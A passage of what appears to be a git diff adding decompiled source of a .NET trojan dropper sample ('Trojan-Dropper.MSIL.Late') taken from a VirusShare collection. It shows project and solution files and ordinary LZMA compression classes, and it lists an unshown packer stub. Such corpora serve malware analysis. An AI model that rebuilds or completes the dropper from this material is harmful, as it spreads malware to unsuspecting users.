<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="CRC.cs" />
|
||||
<Compile Include="DataErrorException.cs" />
|
||||
<Compile Include="InvalidParamException.cs" />
|
||||
<Compile Include="ICodeProgress.cs" />
|
||||
<Compile Include="ICoder.cs" />
|
||||
<Compile Include="CoderPropID.cs" />
|
||||
<Compile Include="ISetCoderProperties.cs" />
|
||||
<Compile Include="IWriteCoderProperties.cs" />
|
||||
<Compile Include="ISetDecoderProperties.cs" />
|
||||
<Compile Include="Compression\LZ\IInWindowStream.cs" />
|
||||
<Compile Include="Compression\LZ\IMatchFinder.cs" />
|
||||
<Compile Include="Compression\LZ\InWindow.cs" />
|
||||
<Compile Include="Compression\LZ\BinTree.cs" />
|
||||
<Compile Include="Compression\LZ\OutWindow.cs" />
|
||||
<Compile Include="Compression\LZMA\Base.cs" />
|
||||
<Compile Include="Compression\LZMA\Decoder.cs" />
|
||||
<Compile Include="Compression\RangeCoder\Decoder.cs" />
|
||||
<Compile Include="Compression\RangeCoder\BitDecoder.cs" />
|
||||
<Compile Include="Compression\RangeCoder\BitTreeDecoder.cs" />
|
||||
<Compile Include="Sixxpack\stub.cs" />
|
||||
<Compile Include="Sixxpack\Compressor.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "actmp", "Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.csproj", "{8E97CC01-EDC8-4CD2-80F0-AFD12B96346E}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{8E97CC01-EDC8-4CD2-80F0-AFD12B96346E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{8E97CC01-EDC8-4CD2-80F0-AFD12B96346E}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{8E97CC01-EDC8-4CD2-80F0-AFD12B96346E}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{8E97CC01-EDC8-4CD2-80F0-AFD12B96346E}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+3
@@ -0,0 +1,3 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyVersion("0.0.0.0")]
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.CRC
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
internal class CRC
|
||||
{
|
||||
public static readonly uint[] Table = new uint[256];
|
||||
private uint _value = uint.MaxValue;
|
||||
|
||||
static CRC()
|
||||
{
|
||||
for (uint index1 = 0; index1 < 256U; ++index1)
|
||||
{
|
||||
uint num = index1;
|
||||
for (int index2 = 0; index2 < 8; ++index2)
|
||||
{
|
||||
if (((int) num & 1) != 0)
|
||||
num = num >> 1 ^ 3988292384U;
|
||||
else
|
||||
num >>= 1;
|
||||
}
|
||||
CRC.Table[(IntPtr) index1] = num;
|
||||
}
|
||||
}
|
||||
|
||||
public void Init() => this._value = uint.MaxValue;
|
||||
|
||||
public void UpdateByte(byte b) => this._value = CRC.Table[(int) (byte) this._value ^ (int) b] ^ this._value >> 8;
|
||||
|
||||
public void Update(byte[] data, uint offset, uint size)
|
||||
{
|
||||
for (uint index = 0; index < size; ++index)
|
||||
this._value = CRC.Table[(int) (byte) this._value ^ (int) data[(IntPtr) (offset + index)]] ^ this._value >> 8;
|
||||
}
|
||||
|
||||
public uint GetDigest() => this._value ^ uint.MaxValue;
|
||||
|
||||
private static uint CalculateDigest(byte[] data, uint offset, uint size)
|
||||
{
|
||||
CRC crc = new CRC();
|
||||
crc.Update(data, offset, size);
|
||||
return crc.GetDigest();
|
||||
}
|
||||
|
||||
private static bool VerifyDigest(uint digest, byte[] data, uint offset, uint size) => (int) CRC.CalculateDigest(data, offset, size) == (int) digest;
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.CoderPropID
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
public enum CoderPropID
|
||||
{
|
||||
DictionarySize = 1024, // 0x00000400
|
||||
UsedMemorySize = 1025, // 0x00000401
|
||||
Order = 1026, // 0x00000402
|
||||
PosStateBits = 1088, // 0x00000440
|
||||
LitContextBits = 1089, // 0x00000441
|
||||
LitPosBits = 1090, // 0x00000442
|
||||
NumFastBytes = 1104, // 0x00000450
|
||||
MatchFinder = 1105, // 0x00000451
|
||||
NumPasses = 1120, // 0x00000460
|
||||
Algorithm = 1136, // 0x00000470
|
||||
MultiThread = 1152, // 0x00000480
|
||||
EndMarker = 1168, // 0x00000490
|
||||
}
|
||||
}
|
||||
+370
@@ -0,0 +1,370 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.LZ.BinTree
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace SevenZip.Compression.LZ
|
||||
{
|
||||
public class BinTree : InWindow, IMatchFinder, IInWindowStream
|
||||
{
|
||||
private const uint kHash2Size = 1024;
|
||||
private const uint kHash3Size = 65536;
|
||||
private const uint kBT2HashSize = 65536;
|
||||
private const uint kStartMaxLen = 1;
|
||||
private const uint kHash3Offset = 1024;
|
||||
private const uint kEmptyHashValue = 0;
|
||||
private const uint kMaxValForNormalize = 2147483647;
|
||||
private uint _cyclicBufferPos;
|
||||
private uint _cyclicBufferSize;
|
||||
private uint _matchMaxLen;
|
||||
private uint[] _son;
|
||||
private uint[] _hash;
|
||||
private uint _cutValue = (uint) byte.MaxValue;
|
||||
private uint _hashMask;
|
||||
private uint _hashSizeSum;
|
||||
private bool HASH_ARRAY = true;
|
||||
private uint kNumHashDirectBytes;
|
||||
private uint kMinMatchCheck = 4;
|
||||
private uint kFixHashSize = 66560;
|
||||
|
||||
public void SetType(int numHashBytes)
|
||||
{
|
||||
this.HASH_ARRAY = numHashBytes > 2;
|
||||
if (this.HASH_ARRAY)
|
||||
{
|
||||
this.kNumHashDirectBytes = 0U;
|
||||
this.kMinMatchCheck = 4U;
|
||||
this.kFixHashSize = 66560U;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.kNumHashDirectBytes = 2U;
|
||||
this.kMinMatchCheck = 3U;
|
||||
this.kFixHashSize = 0U;
|
||||
}
|
||||
}
|
||||
|
||||
public new void SetStream(Stream stream) => base.SetStream(stream);
|
||||
|
||||
public new void ReleaseStream() => base.ReleaseStream();
|
||||
|
||||
public new void Init()
|
||||
{
|
||||
base.Init();
|
||||
for (uint index = 0; index < this._hashSizeSum; ++index)
|
||||
this._hash[(IntPtr) index] = 0U;
|
||||
this._cyclicBufferPos = 0U;
|
||||
this.ReduceOffsets(-1);
|
||||
}
|
||||
|
||||
public new void MovePos()
|
||||
{
|
||||
if (++this._cyclicBufferPos >= this._cyclicBufferSize)
|
||||
this._cyclicBufferPos = 0U;
|
||||
base.MovePos();
|
||||
if (this._pos != (uint) int.MaxValue)
|
||||
return;
|
||||
this.Normalize();
|
||||
}
|
||||
|
||||
public new byte GetIndexByte(int index) => base.GetIndexByte(index);
|
||||
|
||||
public new uint GetMatchLen(int index, uint distance, uint limit) => base.GetMatchLen(index, distance, limit);
|
||||
|
||||
public new uint GetNumAvailableBytes() => base.GetNumAvailableBytes();
|
||||
|
||||
public void Create(
|
||||
uint historySize,
|
||||
uint keepAddBufferBefore,
|
||||
uint matchMaxLen,
|
||||
uint keepAddBufferAfter)
|
||||
{
|
||||
if (historySize > 2147483391U)
|
||||
throw new Exception();
|
||||
this._cutValue = 16U + (matchMaxLen >> 1);
|
||||
uint keepSizeReserv = (historySize + keepAddBufferBefore + matchMaxLen + keepAddBufferAfter) / 2U + 256U;
|
||||
this.Create(historySize + keepAddBufferBefore, matchMaxLen + keepAddBufferAfter, keepSizeReserv);
|
||||
this._matchMaxLen = matchMaxLen;
|
||||
uint num1 = historySize + 1U;
|
||||
if ((int) this._cyclicBufferSize != (int) num1)
|
||||
this._son = new uint[(IntPtr) ((this._cyclicBufferSize = num1) * 2U)];
|
||||
uint num2 = 65536;
|
||||
if (this.HASH_ARRAY)
|
||||
{
|
||||
uint num3 = historySize - 1U;
|
||||
uint num4 = num3 | num3 >> 1;
|
||||
uint num5 = num4 | num4 >> 2;
|
||||
uint num6 = num5 | num5 >> 4;
|
||||
uint num7 = (num6 | num6 >> 8) >> 1 | (uint) ushort.MaxValue;
|
||||
if (num7 > 16777216U)
|
||||
num7 >>= 1;
|
||||
this._hashMask = num7;
|
||||
num2 = num7 + 1U + this.kFixHashSize;
|
||||
}
|
||||
if ((int) num2 == (int) this._hashSizeSum)
|
||||
return;
|
||||
this._hash = new uint[(IntPtr) (this._hashSizeSum = num2)];
|
||||
}
|
||||
|
||||
public uint GetMatches(uint[] distances)
|
||||
{
|
||||
uint num1;
|
||||
if (this._pos + this._matchMaxLen <= this._streamPos)
|
||||
{
|
||||
num1 = this._matchMaxLen;
|
||||
}
|
||||
else
|
||||
{
|
||||
num1 = this._streamPos - this._pos;
|
||||
if (num1 < this.kMinMatchCheck)
|
||||
{
|
||||
this.MovePos();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
uint matches = 0;
|
||||
uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U;
|
||||
uint index1 = this._bufferOffset + this._pos;
|
||||
uint num3 = 1;
|
||||
uint index2 = 0;
|
||||
uint num4 = 0;
|
||||
uint num5;
|
||||
if (this.HASH_ARRAY)
|
||||
{
|
||||
uint num6 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)];
|
||||
index2 = num6 & 1023U;
|
||||
uint num7 = num6 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8;
|
||||
num4 = num7 & (uint) ushort.MaxValue;
|
||||
num5 = (num7 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask;
|
||||
}
|
||||
else
|
||||
num5 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8;
|
||||
uint num8 = this._hash[(IntPtr) (this.kFixHashSize + num5)];
|
||||
if (this.HASH_ARRAY)
|
||||
{
|
||||
uint num9 = this._hash[(IntPtr) index2];
|
||||
uint num10 = this._hash[(IntPtr) (1024U + num4)];
|
||||
this._hash[(IntPtr) index2] = this._pos;
|
||||
this._hash[(IntPtr) (1024U + num4)] = this._pos;
|
||||
if (num9 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num9)] == (int) this._bufferBase[(IntPtr) index1])
|
||||
{
|
||||
uint[] numArray1 = distances;
|
||||
int num11 = (int) matches;
|
||||
uint num12 = (uint) (num11 + 1);
|
||||
uint index3 = (uint) num11;
|
||||
int num13;
|
||||
num3 = (uint) (num13 = 2);
|
||||
numArray1[(IntPtr) index3] = (uint) num13;
|
||||
uint[] numArray2 = distances;
|
||||
int num14 = (int) num12;
|
||||
matches = (uint) (num14 + 1);
|
||||
uint index4 = (uint) num14;
|
||||
int num15 = (int) this._pos - (int) num9 - 1;
|
||||
numArray2[(IntPtr) index4] = (uint) num15;
|
||||
}
|
||||
if (num10 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num10)] == (int) this._bufferBase[(IntPtr) index1])
|
||||
{
|
||||
if ((int) num10 == (int) num9)
|
||||
matches -= 2U;
|
||||
uint[] numArray3 = distances;
|
||||
int num16 = (int) matches;
|
||||
uint num17 = (uint) (num16 + 1);
|
||||
uint index5 = (uint) num16;
|
||||
int num18;
|
||||
num3 = (uint) (num18 = 3);
|
||||
numArray3[(IntPtr) index5] = (uint) num18;
|
||||
uint[] numArray4 = distances;
|
||||
int num19 = (int) num17;
|
||||
matches = (uint) (num19 + 1);
|
||||
uint index6 = (uint) num19;
|
||||
int num20 = (int) this._pos - (int) num10 - 1;
|
||||
numArray4[(IntPtr) index6] = (uint) num20;
|
||||
num9 = num10;
|
||||
}
|
||||
if (matches != 0U && (int) num9 == (int) num8)
|
||||
{
|
||||
matches -= 2U;
|
||||
num3 = 1U;
|
||||
}
|
||||
}
|
||||
this._hash[(IntPtr) (this.kFixHashSize + num5)] = this._pos;
|
||||
uint index7 = (uint) (((int) this._cyclicBufferPos << 1) + 1);
|
||||
uint index8 = this._cyclicBufferPos << 1;
|
||||
uint val2;
|
||||
uint val1 = val2 = this.kNumHashDirectBytes;
|
||||
if (this.kNumHashDirectBytes != 0U && num8 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num8 + this.kNumHashDirectBytes)] != (int) this._bufferBase[(IntPtr) (index1 + this.kNumHashDirectBytes)])
|
||||
{
|
||||
uint[] numArray5 = distances;
|
||||
int num21 = (int) matches;
|
||||
uint num22 = (uint) (num21 + 1);
|
||||
uint index9 = (uint) num21;
|
||||
int numHashDirectBytes;
|
||||
num3 = (uint) (numHashDirectBytes = (int) this.kNumHashDirectBytes);
|
||||
numArray5[(IntPtr) index9] = (uint) numHashDirectBytes;
|
||||
uint[] numArray6 = distances;
|
||||
int num23 = (int) num22;
|
||||
matches = (uint) (num23 + 1);
|
||||
uint index10 = (uint) num23;
|
||||
int num24 = (int) this._pos - (int) num8 - 1;
|
||||
numArray6[(IntPtr) index10] = (uint) num24;
|
||||
}
|
||||
uint cutValue = this._cutValue;
|
||||
while (num8 > num2 && cutValue-- != 0U)
|
||||
{
|
||||
uint num25 = this._pos - num8;
|
||||
uint index11 = (uint) ((num25 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num25 : (int) this._cyclicBufferPos - (int) num25 + (int) this._cyclicBufferSize) << 1);
|
||||
uint num26 = this._bufferOffset + num8;
|
||||
uint num27 = Math.Min(val1, val2);
|
||||
if ((int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)])
|
||||
{
|
||||
do
|
||||
;
|
||||
while ((int) ++num27 != (int) num1 && (int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]);
|
||||
if (num3 < num27)
|
||||
{
|
||||
uint[] numArray7 = distances;
|
||||
int num28 = (int) matches;
|
||||
uint num29 = (uint) (num28 + 1);
|
||||
uint index12 = (uint) num28;
|
||||
int num30;
|
||||
num3 = (uint) (num30 = (int) num27);
|
||||
numArray7[(IntPtr) index12] = (uint) num30;
|
||||
uint[] numArray8 = distances;
|
||||
int num31 = (int) num29;
|
||||
matches = (uint) (num31 + 1);
|
||||
uint index13 = (uint) num31;
|
||||
int num32 = (int) num25 - 1;
|
||||
numArray8[(IntPtr) index13] = (uint) num32;
|
||||
if ((int) num27 == (int) num1)
|
||||
{
|
||||
this._son[(IntPtr) index8] = this._son[(IntPtr) index11];
|
||||
this._son[(IntPtr) index7] = this._son[(IntPtr) (index11 + 1U)];
|
||||
goto label_29;
|
||||
}
|
||||
}
|
||||
}
|
||||
if ((int) this._bufferBase[(IntPtr) (num26 + num27)] < (int) this._bufferBase[(IntPtr) (index1 + num27)])
|
||||
{
|
||||
this._son[(IntPtr) index8] = num8;
|
||||
index8 = index11 + 1U;
|
||||
num8 = this._son[(IntPtr) index8];
|
||||
val2 = num27;
|
||||
}
|
||||
else
|
||||
{
|
||||
this._son[(IntPtr) index7] = num8;
|
||||
index7 = index11;
|
||||
num8 = this._son[(IntPtr) index7];
|
||||
val1 = num27;
|
||||
}
|
||||
}
|
||||
this._son[(IntPtr) index7] = this._son[(IntPtr) index8] = 0U;
|
||||
label_29:
|
||||
this.MovePos();
|
||||
return matches;
|
||||
}
|
||||
|
||||
public void Skip(uint num)
|
||||
{
|
||||
do
|
||||
{
|
||||
uint num1;
|
||||
if (this._pos + this._matchMaxLen <= this._streamPos)
|
||||
{
|
||||
num1 = this._matchMaxLen;
|
||||
}
|
||||
else
|
||||
{
|
||||
num1 = this._streamPos - this._pos;
|
||||
if (num1 < this.kMinMatchCheck)
|
||||
{
|
||||
this.MovePos();
|
||||
goto label_19;
|
||||
}
|
||||
}
|
||||
uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U;
|
||||
uint index1 = this._bufferOffset + this._pos;
|
||||
uint num3;
|
||||
if (this.HASH_ARRAY)
|
||||
{
|
||||
uint num4 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)];
|
||||
this._hash[(IntPtr) (num4 & 1023U)] = this._pos;
|
||||
uint num5 = num4 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8;
|
||||
this._hash[(IntPtr) (1024U + (num5 & (uint) ushort.MaxValue))] = this._pos;
|
||||
num3 = (num5 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask;
|
||||
}
|
||||
else
|
||||
num3 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8;
|
||||
uint num6 = this._hash[(IntPtr) (this.kFixHashSize + num3)];
|
||||
this._hash[(IntPtr) (this.kFixHashSize + num3)] = this._pos;
|
||||
uint index2 = (uint) (((int) this._cyclicBufferPos << 1) + 1);
|
||||
uint index3 = this._cyclicBufferPos << 1;
|
||||
uint val2;
|
||||
uint val1 = val2 = this.kNumHashDirectBytes;
|
||||
uint cutValue = this._cutValue;
|
||||
while (num6 > num2 && cutValue-- != 0U)
|
||||
{
|
||||
uint num7 = this._pos - num6;
|
||||
uint index4 = (uint) ((num7 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num7 : (int) this._cyclicBufferPos - (int) num7 + (int) this._cyclicBufferSize) << 1);
|
||||
uint num8 = this._bufferOffset + num6;
|
||||
uint num9 = Math.Min(val1, val2);
|
||||
if ((int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)])
|
||||
{
|
||||
do
|
||||
;
|
||||
while ((int) ++num9 != (int) num1 && (int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]);
|
||||
if ((int) num9 == (int) num1)
|
||||
{
|
||||
this._son[(IntPtr) index3] = this._son[(IntPtr) index4];
|
||||
this._son[(IntPtr) index2] = this._son[(IntPtr) (index4 + 1U)];
|
||||
goto label_18;
|
||||
}
|
||||
}
|
||||
if ((int) this._bufferBase[(IntPtr) (num8 + num9)] < (int) this._bufferBase[(IntPtr) (index1 + num9)])
|
||||
{
|
||||
this._son[(IntPtr) index3] = num6;
|
||||
index3 = index4 + 1U;
|
||||
num6 = this._son[(IntPtr) index3];
|
||||
val2 = num9;
|
||||
}
|
||||
else
|
||||
{
|
||||
this._son[(IntPtr) index2] = num6;
|
||||
index2 = index4;
|
||||
num6 = this._son[(IntPtr) index2];
|
||||
val1 = num9;
|
||||
}
|
||||
}
|
||||
this._son[(IntPtr) index2] = this._son[(IntPtr) index3] = 0U;
|
||||
label_18:
|
||||
this.MovePos();
|
||||
label_19:;
|
||||
}
|
||||
while (--num != 0U);
|
||||
}
|
||||
|
||||
private void NormalizeLinks(uint[] items, uint numItems, uint subValue)
|
||||
{
|
||||
for (uint index = 0; index < numItems; ++index)
|
||||
{
|
||||
uint num1 = items[(IntPtr) index];
|
||||
uint num2 = num1 > subValue ? num1 - subValue : 0U;
|
||||
items[(IntPtr) index] = num2;
|
||||
}
|
||||
}
|
||||
|
||||
private void Normalize()
|
||||
{
|
||||
uint subValue = this._pos - this._cyclicBufferSize;
|
||||
this.NormalizeLinks(this._son, this._cyclicBufferSize * 2U, subValue);
|
||||
this.NormalizeLinks(this._hash, this._hashSizeSum, subValue);
|
||||
this.ReduceOffsets((int) subValue);
|
||||
}
|
||||
|
||||
public void SetCutValue(uint cutValue) => this._cutValue = cutValue;
|
||||
}
|
||||
}
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.LZ.IInWindowStream
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
using System.IO;
|
||||
|
||||
namespace SevenZip.Compression.LZ
|
||||
{
|
||||
internal interface IInWindowStream
|
||||
{
|
||||
void SetStream(Stream inStream);
|
||||
|
||||
void Init();
|
||||
|
||||
void ReleaseStream();
|
||||
|
||||
byte GetIndexByte(int index);
|
||||
|
||||
uint GetMatchLen(int index, uint distance, uint limit);
|
||||
|
||||
uint GetNumAvailableBytes();
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.LZ.IMatchFinder
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
namespace SevenZip.Compression.LZ
|
||||
{
|
||||
internal interface IMatchFinder : IInWindowStream
|
||||
{
|
||||
void Create(
|
||||
uint historySize,
|
||||
uint keepAddBufferBefore,
|
||||
uint matchMaxLen,
|
||||
uint keepAddBufferAfter);
|
||||
|
||||
uint GetMatches(uint[] distances);
|
||||
|
||||
void Skip(uint num);
|
||||
}
|
||||
}
|
||||
+127
@@ -0,0 +1,127 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.LZ.InWindow
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace SevenZip.Compression.LZ
|
||||
{
|
||||
public class InWindow
|
||||
{
|
||||
public byte[] _bufferBase;
|
||||
private Stream _stream;
|
||||
private uint _posLimit;
|
||||
private bool _streamEndWasReached;
|
||||
private uint _pointerToLastSafePosition;
|
||||
public uint _bufferOffset;
|
||||
public uint _blockSize;
|
||||
public uint _pos;
|
||||
private uint _keepSizeBefore;
|
||||
private uint _keepSizeAfter;
|
||||
public uint _streamPos;
|
||||
|
||||
public void MoveBlock()
|
||||
{
|
||||
uint num1 = this._bufferOffset + this._pos - this._keepSizeBefore;
|
||||
if (num1 > 0U)
|
||||
--num1;
|
||||
uint num2 = this._bufferOffset + this._streamPos - num1;
|
||||
for (uint index = 0; index < num2; ++index)
|
||||
this._bufferBase[(IntPtr) index] = this._bufferBase[(IntPtr) (num1 + index)];
|
||||
this._bufferOffset -= num1;
|
||||
}
|
||||
|
||||
public virtual void ReadBlock()
|
||||
{
|
||||
if (this._streamEndWasReached)
|
||||
return;
|
||||
while (true)
|
||||
{
|
||||
do
|
||||
{
|
||||
int count = -(int) this._bufferOffset + (int) this._blockSize - (int) this._streamPos;
|
||||
if (count == 0)
|
||||
return;
|
||||
int num = this._stream.Read(this._bufferBase, (int) this._bufferOffset + (int) this._streamPos, count);
|
||||
if (num == 0)
|
||||
{
|
||||
this._posLimit = this._streamPos;
|
||||
if (this._bufferOffset + this._posLimit > this._pointerToLastSafePosition)
|
||||
this._posLimit = this._pointerToLastSafePosition - this._bufferOffset;
|
||||
this._streamEndWasReached = true;
|
||||
return;
|
||||
}
|
||||
this._streamPos += (uint) num;
|
||||
}
|
||||
while (this._streamPos < this._pos + this._keepSizeAfter);
|
||||
this._posLimit = this._streamPos - this._keepSizeAfter;
|
||||
}
|
||||
}
|
||||
|
||||
private void Free() => this._bufferBase = (byte[]) null;
|
||||
|
||||
public void Create(uint keepSizeBefore, uint keepSizeAfter, uint keepSizeReserv)
|
||||
{
|
||||
this._keepSizeBefore = keepSizeBefore;
|
||||
this._keepSizeAfter = keepSizeAfter;
|
||||
uint num = keepSizeBefore + keepSizeAfter + keepSizeReserv;
|
||||
if (this._bufferBase == null || (int) this._blockSize != (int) num)
|
||||
{
|
||||
this.Free();
|
||||
this._blockSize = num;
|
||||
this._bufferBase = new byte[(IntPtr) this._blockSize];
|
||||
}
|
||||
this._pointerToLastSafePosition = this._blockSize - keepSizeAfter;
|
||||
}
|
||||
|
||||
public void SetStream(Stream stream) => this._stream = stream;
|
||||
|
||||
public void ReleaseStream() => this._stream = (Stream) null;
|
||||
|
||||
public void Init()
|
||||
{
|
||||
this._bufferOffset = 0U;
|
||||
this._pos = 0U;
|
||||
this._streamPos = 0U;
|
||||
this._streamEndWasReached = false;
|
||||
this.ReadBlock();
|
||||
}
|
||||
|
||||
public void MovePos()
|
||||
{
|
||||
++this._pos;
|
||||
if (this._pos <= this._posLimit)
|
||||
return;
|
||||
if (this._bufferOffset + this._pos > this._pointerToLastSafePosition)
|
||||
this.MoveBlock();
|
||||
this.ReadBlock();
|
||||
}
|
||||
|
||||
public byte GetIndexByte(int index) => this._bufferBase[(long) (this._bufferOffset + this._pos) + (long) index];
|
||||
|
||||
public uint GetMatchLen(int index, uint distance, uint limit)
|
||||
{
|
||||
if (this._streamEndWasReached && (long) this._pos + (long) index + (long) limit > (long) this._streamPos)
|
||||
limit = this._streamPos - (uint) ((ulong) this._pos + (ulong) index);
|
||||
++distance;
|
||||
uint num = (uint) ((int) this._bufferOffset + (int) this._pos + index);
|
||||
uint matchLen = 0;
|
||||
while (matchLen < limit && (int) this._bufferBase[(IntPtr) (num + matchLen)] == (int) this._bufferBase[(IntPtr) (num + matchLen - distance)])
|
||||
++matchLen;
|
||||
return matchLen;
|
||||
}
|
||||
|
||||
public uint GetNumAvailableBytes() => this._streamPos - this._pos;
|
||||
|
||||
public void ReduceOffsets(int subValue)
|
||||
{
|
||||
this._bufferOffset += (uint) subValue;
|
||||
this._posLimit -= (uint) subValue;
|
||||
this._pos -= (uint) subValue;
|
||||
this._streamPos -= (uint) subValue;
|
||||
}
|
||||
}
|
||||
}
|
||||
+89
@@ -0,0 +1,89 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.LZ.OutWindow
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace SevenZip.Compression.LZ
|
||||
{
|
||||
public class OutWindow
|
||||
{
|
||||
private byte[] _buffer;
